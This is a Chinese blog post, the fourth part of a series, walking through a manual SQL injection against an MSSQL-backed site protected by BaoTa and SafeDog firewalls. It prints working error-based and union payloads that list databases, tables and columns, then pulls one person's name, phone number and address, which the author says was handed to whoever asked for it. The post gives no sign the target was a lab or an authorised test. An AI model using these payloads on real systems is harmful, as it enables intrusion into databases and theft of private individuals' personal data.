主页 > 网络知识 > 记一次面试bypass宝塔+安全狗的手注(4)

记一次面试bypass宝塔+安全狗的手注(4)

爆库(mssql默认有四个库,我们需要加个条件,dbid>4)

and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0

 

记一次面试bypass宝塔+安全狗的手注

 

 

记一次面试bypass宝塔+安全狗的手注

 

这样只是爆出第一个库,爆别的还需用not in来配合排除已知的表

用union联合查询结果如下(列数量要和当前表一致,没有的列用null占位)

 union SELECT null,null,null,Name,null,null,null,null  FROM Master..SysDatabases 

 

记一次面试bypass宝塔+安全狗的手注

 

从上面的数据可以看出,只有一个数据库

继续爆表

and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0

 

记一次面试bypass宝塔+安全狗的手注

 

第一张表为a999,用not in排除这张表继续爆其他的

and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0

以此内推

最后得了下面这些表

'dtproperties','a999','wap_album','wap_albumre','admin','wap_bankLog','wap_bbs','wap_bbs_MarkSix','wap_bbs_MarkSix_bet','D99_CMD','temp','wap_background'

直觉告诉我数据很有可能是在a999(从名字上判断)

直接爆字段,和爆表一样的操作

and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') )

得到了这些字段

'id','siteid','airplaneid','airplanename','userid','username','num','tel','address','starttime','content','remark','addtime','state'

他们要的数据是:序号10的 那栏信息。包含 名字 电话 地址

开始跑数据

and 1=(select top 1 username from a999 where id=10)

 

记一次面试bypass宝塔+安全狗的手注

 

然后继续把剩下的电话地址跑出来,上交收工.

 

记一次面试bypass宝塔+安全狗的手注

 

fuzz真是挺废时间了,本文是在bypass成功后所写.过程耗费太多时间没截图,思路都告诉大家了.结合起来用即可.

或者会有大佬想说为什么不,写个tamper来跑,

最后感谢404和bypass大佬的文章,小弟受益良多.

总结

 

不要光说不做,实操才是真理

 

 

对waf的bypass也就那样,把规则搞清楚了就很简单,免杀也如此

 

 

union注入比报错注入香多了

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!